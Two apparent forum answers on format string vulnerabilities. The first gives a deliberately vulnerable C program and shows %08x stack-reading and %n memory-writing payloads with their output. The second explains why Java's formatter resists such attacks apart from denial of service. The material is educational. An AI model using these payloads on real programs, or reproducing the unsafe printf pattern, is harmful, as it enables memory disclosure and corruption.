You may be able to exploit a format string vulnerability in many ways, directly or indirectly. Let's use the following as an example (assuming no relevant OS protections, which is very rare anyways):

int main(int argc, char **argv)
{
    char text[1024];
    static int some_value = -72;

    strcpy(text, argv[1]); /* ignore the buffer overflow here */

    printf("This is how you print correctly:\n");
    printf("%s", text);
    printf("This is how not to print:\n");
    printf(text);

    printf("some_value @ 0x%08x = %d [0x%08x]", &some_value, some_value, some_value);
    return(0);
}

The basis of this vulnerability is the behaviour of functions with variable arguments. A function which implements handling of a variable number of parameters has to read them from the stack, essentially. If we specify a format string that will make printf() expect two integers on the stack, and we provide only one parameter, the second one will have to be something else on the stack. By extension, and if we have control over the format string, we can have the two most fundamental primitives:

Reading from arbitrary memory addresses

[EDIT] IMPORTANT: I'm making some assumptions about the stack frame layout here. You can ignore them if you understand the basic premise behind the vulnerability, and they vary across OS, platform, program and configuration anyways.

It's possible to use the %s format parameter to read data. You can read the data of the original format string in printf(text), hence you can use it to read anything off the stack:

./vulnerable AAAA%08x.%08x.%08x.%08x
This is how you print correctly:
AAAA%08x.%08x.%08x.%08x
This is how not to print:
AAAA.XXXXXXXX.XXXXXXXX.XXXXXXXX.41414141
some_value @ 0x08049794 = -72 [0xffffffb8]

Writing to arbitrary memory addresses

You can use the %n format specifier to write to an arbitrary address (almost). Again, let's assume our vulnerable program above, and let's try changing the value of some_value, which is located at 0x08049794, as seen above:

./vulnerable $(printf "\x94\x97\x04\x08")%08x.%08x.%08x.%n
This is how you print correctly:
??%08x.%08x.%08x.%n
This is how not to print:
??XXXXXXXX.XXXXXXXX.XXXXXXXX.
some_value @ 0x08049794 = 31 [0x0000001f]

We've overwritten some_value with the number of bytes written before the %n specifier was encountered (man printf). We can use the format string itself, or field width to control this value:

./vulnerable $(printf "\x94\x97\x04\x08")%x%x%x%n
This is how you print correctly:
??%x%x%x%n
This is how not to print:
??XXXXXXXXXXXXXXXXXXXXXXXX
some_value @ 0x08049794 = 21 [0x00000015]

There are many possibilities and tricks to try (direct parameter access, large field width making wrap-around possible, building your own primitives), and this just touches the tip of the iceberg. I would suggest reading more articles on fmt string vulnerabilities (Phrack has some mostly excellent ones, although they may be a little advanced) or a book which touches on the subject.

Disclaimer: the examples are taken [although not verbatim] from the book Hacking: The art of exploitation (2nd ed) by Jon Erickson.

There are two high-threat things you can do with format string vulnerabilities in C - leak data and overwrite memory - and neither are relevant in Java. Java's string formatter doesn't even have the "conversion" that is used for overwriting memory, as you noticed. However, Java also is generally safe against such attacks because Java - unlike C - actually checks the number of variadic parameters expected against the number present. If you request a parameter that isn't present - either by index or just by having too many conversions - the formatter will throw an exception. So, there's no way to run off the end of the parameter list and start reading other information from the stack (which is generally not intended to be user-viewable, and may reveal secrets ranging from ASLR masks to cryptographic keys, which could be useful if an attacker can control the format string and invoke the function multiple times).

Interestingly, Java doesn't object if you pass too many variadic parameters - only too few - so you can potentially reveal things that are not normally revealed if the function call is written with excess parameters that aren't usually used. However, that's a pretty unlikely kind of bug, and even then, you could only reveal what those parameters are.

Java's conversions are also type-safe. For example, in C, you can expose pointer values (very valuable when trying to write memory exploits, especially since this can also reveal things like ASLR masks) by asking a format string function to render a pointer (such as to a string) as a numeric type. In Java, that doesn't work; if you pass a string (or any other reference type) and somebody messes with the format string to ask for a hex number, it'll just cause an exception again.

It's worth noting that there is ONE kind of vulnerability possible here: denial of service. An attacker who controls the format string can easily cause the app to throw an exception, for example by supplying the illegal format conversion %0$d (which requests the "zeroeth" parameter as an integer type, when such indices must start at 1). This exception, if uncaught, will cause a crash (even if caught, it may prevent the app from completing its operation correctly). However, as far as I can tell, such denial-of-service risk is the only realistic threat from user-controlled format strings in Java.